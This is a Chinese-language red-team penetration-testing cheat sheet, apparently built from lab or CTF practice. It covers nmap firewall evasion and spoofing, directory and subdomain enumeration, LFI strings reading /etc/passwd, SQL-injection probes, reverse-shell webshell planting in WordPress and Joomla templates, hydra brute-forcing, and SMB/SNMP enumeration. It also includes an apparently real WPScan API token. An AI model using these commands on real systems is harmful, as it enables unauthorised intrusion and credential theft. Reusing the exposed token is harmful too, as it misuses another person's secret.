奈幽的渗透测试总结-红队
零、 kali环境准备
kali官方
https://www.kali.org/docs/tools/kali-tools/
kali 更换镜像源
sudo vim /etc/apt/sources.list
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
#deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
kali 软件更新
apt update -y && apt full-upgrade -y
①输入sudo apt-get clean 清理旧软件缓存;
②输入sudo apt -f install 修复损坏的软件包;
③输入sudo apt update 更新自带软件库;
④输入sudo apt-get update 更新软件;
⑤输入sudo apt-get dist-upgrade 更新系统;
⑥输入sudo apt --fix-broken install 解决依赖关系缺少问题;
⑦输入sudo reboot 重启系统。
kali 离线数据库更新
MSF更新漏洞数据
【https://www.python100.com/html/80496.html】
独立安装:
msfupdate
msfvenom –list payloads
kali中:
apt update; apt install metasploit-framework
searchsploit
searchsploit -u
searchsploit --update
sqlmap
wpscan
一、 主机发现
1.1 网段扫描
基于ICMP协议
nmap -sn
sudo nmap -sn 192.168.56.0/24
-sn 不扫描端口,只ping主机
-PE 通过ICMP echo判定主机是否存活
-n 不反向解析IP地址到域名
--min-hostgroup 1024 最小分组设置为1024个IP地址,当IP太多时,nmap需要分组,然后串行扫描
--min-parallelism 1024 这个参数非常关键,为了充分利用系统和网络资源,我们将探针的数目限定最小为1024
-oX nmap_output.xml 将结果以XML格式输出,文件名为nmap_output.xml
当需要对较少量量主机进行存活判断时,可以去掉--min-hostgroup 和 --min-parallelism参数来进行扫描。之后对nmap_output.xml用正则表达式进行整理即可得到存活主机及对应ip。
fping
命令:fping -a -g 192.168.1.1/24
-a:只显示存活主机;
-g:通过指定起始地址与终止地址产生目标列表。
PS:这里的IP网段不可以使用通配符”*”
基于ARP协议
netdiscover
sudo netdiscover -i eth1 -r 192.168.56.0/24
netdiscover -p
-p表示被动模式,不发送任何数据包,仅仅依靠嗅探发现主机
arp-scan
sudo arp-scan -I eth1 -l
arping
arping -c count 目标地址
-c count 表示指定发送的arp包数量,例如 -c 10
基于其他技术
masscan【大规模快速扫描工具】
masscan是一个 Internet 规模的端口扫描器,可用于 Internet 或内部网络的大规模调查。虽然默认传输速率仅为 100 个数据包/秒,但它可以选择高达 2500 万个数据包/秒的速度,这个速率足以在 3 分钟内扫描 Internet 的一个端口。
基于异步传输和自定义的TCP/IP协议栈
支持多种扫描模式,包括TCP和UDP端口扫描,以及SCTP和ICMP扫描
安装
linux下安装masscan:
$ sudo apt-get install git gcc make libpcap-dev
$ git clone https://github.com/robertdavidgraham/masscan
$ cd masscan
$ make -j
用法:
语法:masscan 扫描的网段 -p 扫描端口号
masscan 192.168.56.0/24 -p 80,22
常用命令:
扫描所有专用网络以查找 Web 服务器,并打印找到的所有开放端口
masscan -p80 192.168.0.1/24 --open-only
扫描整个 Internet 以查找 DNS 服务器,获取它们的版本,然后将结果保存在 XML 文件中。
masscan 0.0.0.0/0 --excludefile no-dod.txt -pU:53 --banners --output-filename dns.xml
用--adapter-ip指定的IP去扫描目标主机192.168.26.131
masscan --ports 1-10000 192.168.26.131 --adapter-ip 192.168.26.1
常用命令
--open-only 开放端口
--oX --output-filename dns.xml。 扫描结果保存(XML格式)
--adapter-ip 指定发包的ip地址(IP欺骗)
--adapter-port 指定发包源端口
--adapter-mac 指定发包的源MAC地址
--router-mac 指定网关MAC地址
--exclude IP地址范围黑名单,不扫描该文件中的IP
--excludefile 指定IP地址范围黑名单文件
--includefile,-iL 读取一个范围列表进行扫描
--wait 指定发包后的等待时间
--banners:指定应抓取横幅,例如HTTP服务器版本部分,HTML标题字段等。仅支持一些协议。
tips:
当用户按下ctrl-c时,扫描将停止,扫描的当前状态将保存在文件“paused.conf”中,该文件在当前目录下。可以使用 --resume选项恢复扫描:
masscan --resume paused.conf
参考资料:
https://www.51cto.com/article/770015.html
https://www.fengnayun.com/news/content/61309.html
1.2 路由跟踪
traceroute
traceroute 192.168.56.101
mtr
sudo mtr 192.168.56.101
nmap --traceroute
sudo nmap --traceroute 192.168.56.101
二、 信息收集
2.1 被动信息收集
Google Hacking
搜索引擎推荐:
- www.google.com
- search.barve.com
搜索技巧:
-
查找关键词相关漏洞信息
- xxx dump full
-
参考资料
网络空间搜索引擎
漏洞情报
- [2021.04.04] - https://www.cnvd.org.cn/flaw/list.htm - 国家信息安全漏洞共享平台
- [2021.04.04] - https://help.aliyun.com/noticelist/9213612.html - 阿里云安全公告
- [2021.04.04] - https://cloud.tencent.com/announce?categorys=21 - 腾讯云安全公告
- [2021.04.04] - https://www.exploit-db.com/ - Exploit Database
- [2021.04.04] - https://nox.qianxin.com/vulnerability - 奇安信 NOX 安全监测
- [2021.04.04] - https://loudongyun.360.cn/#qingbao - 360漏洞云情报平台
- [2021.04.04] - https://www.seebug.org/ - 知道创宇 Seebug 漏洞平台
- [2021.04.04] - https://vti.huaun.com/index/ - 华安云 漏洞情报平台
- [2021.04.04] - https://www.venustech.com.cn/new_type/aqtg/ - 启明星辰应急响应中心 漏洞预警平台
- [2021.04.04] - https://sec.sangfor.com.cn/security-vulnerability - 深信服安全中心
- [2021.04.04] - https://www.anquanke.com/vul - 安全客 全球最新漏洞库
- [2021.04.04] - http://www.nsfocus.net/index.php?act=sec_bug - 绿盟科技漏洞库
- [2021.04.04] - https://nvd.nist.gov/vuln/ - NIST国家漏洞数据库
- [2021.04.04] - https://www.pwnwiki.org/ - Pwnwiki是一个免費、自由、人人可编辑的漏洞库
- [2021.04.04] - https://cn.0day.today/ - 0day.today 漏洞数据库
- [2021.04.04] - https://attackerkb.com/?sort=newest-created - AttackerKB
- [2021.04.04] - https://vxug.fakedoma.in/tmp/Exploits/ - vx-underground
- [2021.04.04] - https://www.cvebase.com/poc - CVEBASE
- [2021.04.04] - https://vul.wangan.com/ - 网安.漏洞数据库
- [2021.04.04] - https://www.vulncode-db.com/ - Home - Vulncode-DB
- [2021.04.04] - https://sploitus.com/ - Sploitus | Exploit Search
- [2021.04.04] - https://poc.shuziguanxing.com/#/issueList - 数字观星.POC++平台
- [2021.04.29] - http://vulhub.org.cn/index - 信息安全漏洞门户 VULHUB
- [2021.06.23] - https://github.com/mai-lang-chai/Middleware-Vulnerability-detection - CVE、CMS、中间件漏洞检测利用合集
- [2021.06.23] - https://github.com/EdgeSecurityTeam/Vulnerability - 此项目将不定期从棱角社区对外进行公布一些最新漏洞
- [2021.06.24] - https://securitylab.github.com/advisories/ - Github 安全实验室披露的漏洞
2.2 主动信息收集
2.2.1 隐蔽扫描技术
nmap 端口隐蔽扫描
nmap -Pn -S <SIP_Address> <ip address>
-Pn 不进行ping通信,隐藏自己
-sI 僵尸扫描,通过僵尸机器对目标发起扫描,目标只会发现僵尸IP
-D <decoy1,decoy2[,ME],...>: 用一组 IP 地址掩盖真实地址,其中 ME 填入自己的 IP 地址
-S <IP_Address>: 伪装成其他 IP 地址
--spoof-mac <mac address/prefix/vendor name> : 伪装 MAC 地址
nmap 防火墙绕过通用策略
常用参数:
nmap -sS -Pn -A <ip address>
0x00 探测防火墙状态
nmap -sF -T4 -sA <ip address>
-sF 探测防火墙状态
-PS 选项来实行TCP SYN ping 可绕过防火墙
-PA 这种类型的扫描将只会扫描ACK包,可绕过防火墙
-PU 扫描只会对目标进行udp ping扫描。这种扫描的扫描会发送UDP包来获取一个响应,可绕过防火墙
-PP 选项进行一个ICMP时间戳ping扫描可绕过防火墙
-PE 参数进行一个IEMP(Internet控制报文协议)在指定的系统上输出ping,可绕过防火墙
-Pn 不采用ping方式进行扫描,可绕过防火墙
-sA 用于发现防火墙规定,比如扫到的端口是过滤的,那么可以使用这个参数进行绕过
0x01 使用nmap 脚本进行防火墙检测
nmap --script=firewalk --traceroute <ip address>
nmap --traceroute --script firewalk --script-args firewalk.recv-timeout=60000,firewalk.max-active-probes=3,firewalk.max-retries=3,firewalk.probe-timeout=600 <ip address>
nmap -p80 --script http-waf-detect<ip address>
nmap -p80 --script http-waf-detect --script-args=”http-waf-detect.detectBodyChanges” <ip address>
0x02 使用nmap 绕过防火墙
1 碎片扫描
nmap -f <ip address>
nmap -mtu 8 <ip address>
-mtu 数据包最大传输单元
2 诱饵扫描
nmap -D RND:10 <ip address>
nmap –D decoy1,decoy2,decoy3 <ip address>
3 空闲扫描
nmap -P0 -sI zombie <ip address>
4 随机数据长度
nmap --data-length 25 <ip address>
-data-length 设置数据包的长度
nmap --randomize-hosts 103.17.40.69-100
-randomize-hosts 对批量目标随机IP进行扫描,适合批量目标一起扫的情况
nmap -sl 211.211.211.211<ip address>
5 欺骗扫描
nmap --sT -PN --spoof-mac 0 <ip address>
nmap --badsum <ip address>
nmap -g 80 -S www.baidu.com <ip address>
nmap -p80 --script http-methods --script-args http.useragent=”Mozilla 5”<ip address>
-scan-delay 延迟一定的时间发包,主要用于绕过频率的限制
6 设置和使用代理
export HTTP_PROXY="http://proxy_host:proxy_port"
export HTTPS_PROXY="http://proxy_host:proxy_port"
或
nmap -sV -Pn -n --proxies socks4://192.168.56.105:3128 192.168.56.105 -p-
--proxies socks4://192.168.56.105:3128 指定代理服务器IP和端口
2.2.2 nmap常规四扫
nmap 端口扫描(第一扫)
sudo nmap -sT --min-rate 10000 -p- <ip address> -oA <nmapscan_ports>
NmapPorts=`grep open nmapscan_ports.nmap|awk -F'/' '{print $1}'|paste -sd ','`
sudo nmap -sT --min-rate 10000 -p- <ip address>|grep open|awk -F'/' '{print $1}'|paste -sd ','
NmapPorts=`sudo nmap -sS -p- <ip address>|grep open|awk -F'/' '{print $1}'|paste -sd ','
nmap 详细扫描(第二扫)
sudo nmap -sT -sV -sC -O -p$NmapPorts <ip address> -oA <nmapscan_detail>
nmap UDP扫描(第三扫)
sudo nmap -sU --top-ports 20 <ip address> -oA <nmapscan_udp>
nmap脚本扫描(第四扫)
sudo nmap --script=vuln -p$NmapPorts <ip address> -oA <nmapscan_vuln>
四嫂脚本化
#/bin/bash
#nmap四扫一键脚本
if [ "$1" = "-h" ] || [ "$1" = "--help" ]; then
echo "# $1: target ip"
echo "# $2: scan log dir"
exit
elif [ -z "$1" ]; then
echo "ERROR! You need to add the parameters."
echo "# $1: target ip"
echo "# $2: scan log dir"
exit
fi
echo "|------< 创建存储目录 >------|"
mkdir -p $2
ls $2
echo "|------< 执行扫描命令 >------|"
#NO.1
nmap -sT --min-rate 10000 -p- $1 -oA $2/nmapscan_ports
NmapPorts=`grep open $2/nmapscan_ports.nmap|awk -F'/' '{print $1}'|paste -sd ','`
#NO.2
nmap -sT -sV -sC -O -p$NmapPorts $1 -oA $2/nmapscan_detail
#NO.3
nmap -sU --top-ports 30 $1 -oA $2/nmapscan_udp
#NO.4
nmap --script=vuln -p$NmapPorts $1 -oA $2/nmapscan_vuln
echo "|------< 脚本执行完成 >------|"
更多nmap参数请查看:
https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf
https://www.nerubian.cn/archives/3a935015-6c6e-4452-86b7-3261902a6d99
https://www.nerubian.cn/archives/4d3e4541-f379-4282-851e-1749c94f8886
2.2.3 WEB信息收集
2.2.3.1 页面审计
检查URL
通过拓展名检查语言技术栈
测试是否存在sql注入、文件包含、目录遍历等漏洞
检查页面内容
Firefox Debugger 工具(在 Web Developer 菜单中找到,或通过按 Ctrl Shift K 键)显示页面的资源和内容,这会因应用程序而异。
Debugger 工具可能会显示 JavaScript 框架、隐藏的输入字段、注释、HTML 中的客户端控件、JavaScript 等等。为了证明这一点,我们可以在浏览 www.megacorp.one 时打开 Debugger
检查页面源码
查看响应标头
Firefox Web Developer菜单启动的网络工具,以查看HTTP请求和响应
检查网站地图
使用curl从www.google.com检索robots.txt文件
定位控制台
定位可登录的后台入口
2.2.3.2 子域名扫描
手动枚举
https://blog.csdn.net/weixin_63124284/article/details/126956627
MassDNS
是一款功能强大的高性能DNS stub解析工具,它可以帮助研究人员解析数百万甚至上亿个域名。在没有特殊配置的情况下,MassDNS可以利用公共可用的解析器每秒钟解析超过350000个域名
项目地址
https://github.com/blechschmidt/massdns
项目编译
1将MassDNS源码克隆至本地目录中:
git clone https://github.com/blechschmidt/massdns.git
2编译源码
cd massdns
make
3如果你使用的不是Linux操作系统,那么则需要运行下列命令:
make nolinux
在Windows平台下,你还需要安装Cygwin包gcc-coregit和make。
工具使用
语法:dnsenum [选项] [域名]
注意:"-"使用选项简写,"--"使用选项全写
主要的用法:
1.获取其他域名 dnsenum --enum 域名
2.设置用户同时运行多个进程数 -threads [number]
3.允许用户启用递归查询 -r
4.允许用户启用whois请求 -w
5.允许用户指定输出文件位置 -o
6.允许用户设置whois请求之间时间延迟数(单位为秒) -d
想要知道更多的用法,也可使用-h来获取所有命令
其他工具:
https://download.csdn.net/blog/column/11038375/114897109
https://github.com/lijiejie/subDomainsBrute
https://github.com/aboul3la/Sublist3r
https://github.com/TheRook/subbrute
https://github.com/infosec-au/altdns
2.2.3.3 目录枚举
dirsearch
常用预设:
dirsearch -u http://192.168.10.1 -F
dirsearch -u http://192.168.10.1 -full-url
使用方法:
强制选项:
-w 用指定爆破字典执行,若存在多个通过逗号分隔
-u 目标url地址,可以指定多个,通过逗号分隔
可选选项
-l 目标url列表文件,比如你可以建一个 targets.txt,里面包含需要攻击的网址
-e 站点文件类型列表,如:php,asp,有默认配置:php,aspx,jsp,html,js
-X 不需要扫描的站点文件类型列表
-q,--quiet-mode 静音模式
--full-url 输出完整URL(在静音模式下自动启用)
-t 指定线程数
-r,--recursive 强制递归
-i 仅现实指定的状态码,指定多个通过逗号分隔
请求设置:
-m METHOD,--http-method=METHOD 指定请求方式,默认GET
-d DATA,--data=DATA HTTP请求数据
-H HEADERS,--header=HEADERSHTTP请求头,支持多个标志(例如:-H 'Referer: example.com')
--header-list=FILE 文件包含HTTP请求头
-F,--follow-redirects 遵循HTTP重定向
--random-agent 为每个请求选择一个随机的用户代理
--auth-type=TYPE 身份验证类型(基本,摘要,承载,ntlm)
--auth=CREDENTIAL 身份验证凭据(用户:密码或承载令牌)
--user-agent=USERAGENT
--cookie=COOKIE 可以设置访问cookie
-x(--exclude-status) 不显示指定的状态码,指定多个通过逗号分隔
--exclude-sizes=SIZES 不显示的响应包大小(Example: 123B,4KB)
--exclude-texts=TEXTS 不显示的响应包关键字 (Example: "Not found", "Error")
代理设置:
--proxy=PROXY 代理URL,支持HTTP和SOCKS代理(例如:localhost:8080,socks5://localhost:8088)
--proxy-list=FILE 文件包含代理服务器
--replay-proxy=PROXY 用找到的路径重播的代理
输出保存:
默认保存路径:/usr/lib/python3/dist-packages/dirsearch/
-o FILE, --output=FILE 指定保存扫描结果的文件名称,但只有指定了绝对路径才能改变保存路径,可以使用变量(~$HOME),但是./无效
--format=FORMAT 输出格式指定 (Available: simple, plain, json, xml, md, csv, html)
dirb
dirb http://192.168.10.1:80 /usr/share/dirb/wordlists/common.txt
gobuster
https://blog.csdn.net/Timeless_cz/article/details/132053367
常用预设:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.10.1
gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://192.168.239.1 -t 64 -e -k
使用方法:
使用:
gobuster [选项] [参数] <target>
选项:
completion 生成指定外壳的自动完成脚本
dir 使用目录/文件枚举模式
dns 使用DNS子域枚举模式
fuzz 使用模糊模式。替换URL、报头和请求体中的关键词FUZZ
gcs 使用gcs桶枚举模式
help 帮助任何命令
s3 使用AWS桶枚举模式
tftp 使用TFTP枚举模式
version 显示当前版本
vhost 使用VHOST枚举模式(你最可能想使用IP地址作为URL参数)
参数:
-u 指定扫描目标地址
--debug 启用调试输出
--delay duration 每个线程在请求之间等待的时间(例如1500ms)
-h, --help gobuster帮助
--no-color 禁用颜色输出
--no-error 不显示错误
-z, --no-progress 不显示进度
-o, --output string 输出文件写入结果(默认为stdout)
-p, --pattern string 包含替换模式的文件
-q, --quiet 不打印横幅和其他噪声-t, --threads 并发线程数(默认10)
-v, --verbose 详细输出(错误)
-w, --wordlist 字符串 字典的路径。设置为-使用标准输入。
--wordlist-offset 整数 从字典中给定的位置恢复(默认为0)
-d, --depth 设置扫描深度
-t 线程数
-e 对目标 URL 进行 URL 编码,处理包含特殊字符的 URL,例如空格、中文字符、特殊符号等。
-k 跳过 SSL/TLS 证书验证
使用“gobuster [命令] --help”获取有关命令的更多信息。
常用字典
/usr/share/wordlists/dirb/big.txt 大的
/usr/share/wordlists/dirb/common.txt 常见的
/usr/share/wordlists/dirb/small.txt 小的
/usr/share/wordlists/dirb/vulns.txt 有漏洞的
/usr/share/wordlists/indexes.txt 索引
/usr/share/wordlists/small.txt 小的
/usr/share/wordlists/extensions_common.txt 公共扩展
/usr/share/wordlists/mutations_common.txt 常见变化
三、 枚举漏洞
3.1 针对 web 页面的枚举尝试
- 使用 NC 查看 banner
nc -nv <ip-address> <port>
- 使用Nikto 检查web敏感信息
进行对web服务器的多种检查,包括超过6700个潜在的危险文件/CGIs,查找过时的版本和版本特定问题
nikto -port {web ports} -host <ip address> -o <output file.txt>
3.2 针对漏洞类型的枚举
3.2.1 文件包含漏洞
工具:fimap
测试文件包含漏洞,可以使用 fimap
fimap -u <ip-address>
工具:wfuzz
博客:
使用方法:
wfuzz -w /usr/share/dirb/wordlists/common.txt -u 192.168.56.113/FUZZ --hc 404
wfuzz -w /usr/share/dirb/wordlists/common.txt -u 192.168.56.113/secret/FUZZ --hc 404
wfuzz -w /usr/share/dirb/wordlists/common.txt -u 192.168.56.113/secret/FUZZ.php --hc 404
wfuzz -w /usr/share/dirb/wordlists/common.txt -u 192.168.56.113/secret/evil.php?FUZZ=FUZ2Z --hc 404
wfuzz -u "192.168.9.62/secret/evil.php?FUZZ=../../../../etc/passwd" -w /usr/share/dirb/wordlists/common.txt --hw 0
3.2.2 命令执行漏洞
-, =, +, "
用于找出命令执行漏洞
Shellshock 漏洞 (CVE-2014-6271)
漏洞简介
破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务,如一些网络服务器部署,使用bash来处理某些请求,允许攻击者导致脆弱的bash版本执行任意命令。这可以让攻击者获得对计算机系统的未授权访问。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行
漏洞成因:
bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。
漏洞范围:
bash版本小于等于4.3
参考资料:
https://zhuanlan.zhihu.com/p/630478281
https://blog.csdn.net/m0_62008601/article/details/126189783
https://blog.csdn.net/weixin_47536169/article/details/126576965
3.2.3 SSRF(服务器端请求伪造)漏洞
https://blog.csdn.net/qq_50854790/article/details/121174712
PHP支持的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
3.2.4 跨站点脚本攻击 (XSS)
3.2.5 目录穿越漏洞
../../../../../../../etc/passwd
3.2.6 SQL 注入
确定是否存在注入
在地址的最后加一个单引号,如果有报错,即为存在SQL注入
http://ctf4.sas.upenn.edu/index.html?page=blog&title=Blog&id=2%27
测试输入表单参数(比如 1' or 1=1 limit 1; # AND 1' or 1=1--)
NULL 或 null
', ", ;, <!
中断 SQL 字符串或查询,常用于 SQLXPathXML 注入
用于手工 SQL 注入测试
', &, ! , ¦ , < , >
手工注入
https://blog.csdn.net/qq_45747465/article/details/132283743
https://blog.csdn.net/peanut5036/article/details/128553795
https://www.php.cn/faq/544967.html
https://www.pianshen.com/article/3596668244/
3.3 针对服务枚举
3.3.1 离线检索 searchsploit
使用方法:
在线检索 漏洞利用数据库
内核漏洞
https://www.kernel-exploits.com/
漏洞来源:
https://www.securityfocus.com/vulnerabilities
3.3.2 http服务
默认端口:80
CMS报到处
wordpress
wpscan
添加token
sudo wpscan --api-token vkd34m0eKZcO3Cpa4NekrsSyQpHicgxGm7JEY4GL8CE --url
更新漏洞库
wpscan --update
扫描站点
wpscan --url http://192.168.15.176/wordpress
-
漏洞盲扫
-
命令集合
wpscan --url "http://192.168.15.176/wordpress" --enumerate vp,vt,tt,u
-
-
暴力破解
-
枚举wordpress的用户
wpscan --url "http://192.168.15.176/wordpress" --enumerate u
-
使用wpscan进行暴力破解
wpscan --url "http://192.168.15.176/wordpress" --usernames [用户名或用户名字典] --passwords [字典文件] --max-threads [开启的最大线程数] OR wpscan --url "http://192.168.15.176/wordpress" -U [用户名或用户名字典] -P [密码字典] -t [开启的最大线程数]
-
-
插件扫描
-
扫描安装的插件
wpscan --url http://192.168.15.176/wordpress --enumerate p
-
扫描安装的插件的漏洞
wpscan --api-token=vkd34m0eKZcO3Cpa4NekrsSyQpHicgxGm7JEY4GL8CE --url=http://wordpress.aragog.hogwarts/blog -e p --plugins-detection aggressive
-
-
主题扫描
-
对主题进行扫描
wpscan --url http://192.168.15.176/wordpress --enumerate t
-
扫描主题中存在的漏洞
wpscan --url http://192.168.15.176/wordpress --enumerate vt
-
websehll利用查找
1寻找可以创建或修改的php页面
appearance => editor
2theme上传php页面文件
appearance => theme => add new
joomla
joomscan
sudo joomscan --url http://192.168.56.108/joomla/
修改Templates中的beez3中的文件
kali webshell文件路径:/usr/share/webshells/php/php-reverse-shell.php
修改为kali自带的php反弹shell代码,记得修改49行和50行的反弹主机和端口
kali:nc -vlp 9999
浏览器访问:http://192.168.2.199/joomla/templates/beez3/index.php
wolf cms
默认用户名:admin
默认密码:admin
登陆页面:x.x.x.x/?admin
漏洞:文件上传漏洞,可以上传webshell的php文件
ftp服务
默认端口:21
- anonymous 是否可以登录
- 如果可以登录是否可以使用 get 或 send 操作文件
- 使用浏览器是否可以访问,ftp://
常见漏洞
匿名访问漏洞
ftp-anon: Anonymous FTP login allowed (FTP code 230)
使用用户名:anonymous 密码为空 回车登录
提示:230 login successful 即为成功登录。
切换至二进制模式
(减少可执行文件下载后损坏的可能性)
binary
提示:200 Switching tu binary mode;即为成功
ssh服务
默认端口:22
参数补写
ssh登录报错1
┌──(nerubian㉿kali)-[~/vulnhub/ctf4]
└─$ ssh dstevens@192.168.216.129
Unable to negotiate with 192.168.216.129 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
解决方法:
使用 -o 选项指定 KexAlgorithms 参数来选择支持的密钥交换方法
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 dstevens@192.168.216.129
这将临时指定要使用的密钥交换方法。
ssh登录报错2
─$ ssh -oKerberosAuthentication=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.216.129
command-line line 0: Unsupported option "kerberosauthentication"
Unable to negotiate with 192.168.216.129 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
解决方法:
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 dstevens@192.168.216.129
私钥解密
我们利用ssh2john生成hash.txt文件
┌──(nerubian㉿kali)-[~]
└─$ /usr/share/john/ssh2john.py id_rsa > hash.txt
然后使用john进行密码的破解
┌──(nerubian㉿kali)-[~]
└─$ john --wordlist=/usr/share/worlists/rockyou.txt hash.txt
暴力破解
sudo hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.113
或
sudo hydra -l root -p 12345678 192.168.31.173 ssh
常用弱密码破解:
sudo hydra -t 64 -L /usr/share/wordlists/legion/ssh-user.txt -P /usr/share/wordlists/legion/root-userpass.txt ssh://192.168.56.107
参数:
-l 指定用户名
-p 指定密码
-L 指定用户名字典
-P 指定密码字典
-C 指定所用格式为“user:password”的字典文件
-e
n null,表示尝试空密码
s same,把用户名本身当做密码进行尝试
r 反向,把用户名倒叙,当做密码进行尝试。
-vV 显示执行细节
-o 保存执行结果
-s 指定非默认端口
-M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”
-t 指定爆破时的任务数量(默认16,最高64)
Hydra爆破常见服务
远程桌面(RDP)
hydra -l administrator -P 密码字典 192.168.31.173 rdp
共享文件(SMB)
hydra -l administrator -P 密码字典 192.168.31.173 smb
文件传输(FTP)
hydra -l 用户名 -P 密码字典 192.168.31.173 ftp
邮箱协议(POP3)
hydra -l 用户名 -P 密码字典 192.168.31.173 pop3
MSSQL数据库
hydra -l sa -P 密码字典 192.168.31.173 mssql
MySQL数据库
hydra -l 用户名 -P 密码字典 192.168.31.173 mysql
Oracle数据库
hydra -l 用户名 -P 密码字典 192.168.31.173 oracle
Redis数据库
hydra -l 用户名 -P 密码字典 192.168.31.173 redis
PgSQL数据库
hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql
————————————————
版权声明:本文为CSDN博主「士别三日wyx」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/wangyuxiang946/article/details/128194559
medusa
https://zhuanlan.zhihu.com/p/44371468
smtp服务
默认端口:25
枚举用户名:
smtp-user-enum测试用户名
smtp-user-enum专门用来进行smtp用户名枚举的工具。
smtp-user-enum -M VRFY -U /root/Desktop/user.txt -t 目标IP地址
smtp-user-enum -M VRFY -U /home/kali/Desktop/user.txt -t 192.168.42.137
枚举密码:
枚举用户,使用 VRFY 和 EXPN 命令
1smtp版本信息获取
1)metasploit下smtp_version
2medusa工具介绍
1)-u/U 用户名/用户名文件
2)-p/P 密码/密码文件
3)-h/H IP地址/IP地址文件
4)medusa -d 查看有什么模块
3smtp验证方式
PLAINLOGINGSSAPIDIGEST-MD5MD5CRAM-MD5OAUTH10AOAUTHBEARER
4medusa破解smtp
1)medusa -h 目标IP地址 -u 用户名 -P 字典文件 -M 协议模块
————————————————
版权声明:本文为CSDN博主「lao_wine」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/MysteriousMadness/article/details/108480164
1telnet测试用户名
1)telnet IP地址 端口
2)vrfy 用户名@mail地址
2metasploit测试用户名
1)在metasploit中有smtp-enum可以对smtp上用户名进行枚举。
2)use auxiliary/scanner/smtp/smtp_enum
3)exploit/run
3)smtp-user-enum测试用户名
1)smtp-user-enum专门用来进行smtp用户名枚举的工具
2)smtp-user-enum -M VRFY -U user.txt -t IP地址
4)ismtp测试用户名
1)ismtp -h IP地址:25 -e email.txt
2)email.txt为邮箱地址文件,每一行都是一个邮箱地址
————————————————
版权声明:本文为CSDN博主「lao_wine」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/MysteriousMadness/article/details/108480127
metasploit测试用户名
在metasploit中有smtp_enum可以对smtp上用户名进行枚举
msfconsole
use auxiliary/scanner/smtp/smtp_enum
show options
set rhosts 192.168.42.137
set thread 10
set rport 25
set USER_FILE /root/Desktop/user.txt
show options
exploit
————————————————
版权声明:本文为CSDN博主「山兔1」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_53008479/article/details/125918473
————————————————
版权声明:本文为CSDN博主「山兔1」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_53008479/article/details/125918473
SNMP服务
默认共享名称如:public, private, cisco, manager
使用工具:
Onesixtyone –c <community list file> -I <ip-address>
Snmpwalk -c <community string> -v<version> <ip address>
默认 MIB:
1.3.6.1.2.1.25.1.6.0 System Processes
1.3.6.1.2.1.25.4.2.1.2 Running Programs
1.3.6.1.2.1.25.4.2.1.4 Processes Path
1.3.6.1.2.1.25.2.3.1.4 Storage Units
1.3.6.1.2.1.25.6.3.1.2 Software Name
1.3.6.1.4.1.77.1.2.25 User Accounts
1.3.6.1.2.1.6.13.1.3 TCP Local Ports
比如枚举运行的进程
nmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2
RPC服务
默认端口:25
Rpcclient <ip address> -U "" -N
Rpcinfo -p <target ip>
关于 RPC 历史漏洞的合集:
http://etutorials.org/Networking/network+security+assessment/Chapter+12.+Assessing+Unix+RPC+Services/12.2+RPC+Service+Vulnerabilities/
以下是常用的远程测试命令
Showmount -e <ip address>/<port>
Mount -t cifs //<server ip>/<share> <local dir> -o username=”guest”,password=””
Rlogin <ip-address>
Smbclient -L <ip-address> -U “” -N
Nbtscan -r <ip address>
Net use <ip-address>$Share “” /u:””
Net view <ip-address>
SMB服务(Samba)
默认端口:445
Samba 是在Linux 和 UNIX 系统上实现 SMB协议的一个免费软件,由服务器及客户端程序构成 Samba 服务对应的端口有 139445等等,本文将简单介绍
smb敏感文件【需要补充内容】
lsass 本地安全权限服务
默认文件
ADMIN$ 所有Windows系统上的默认共享,需要管理员访问权限
C$ 所有Windows系统上的默认共享,需要管理员访问权限
IPC$ 所有Windows系统上的默认共享,需要管理员访问权限
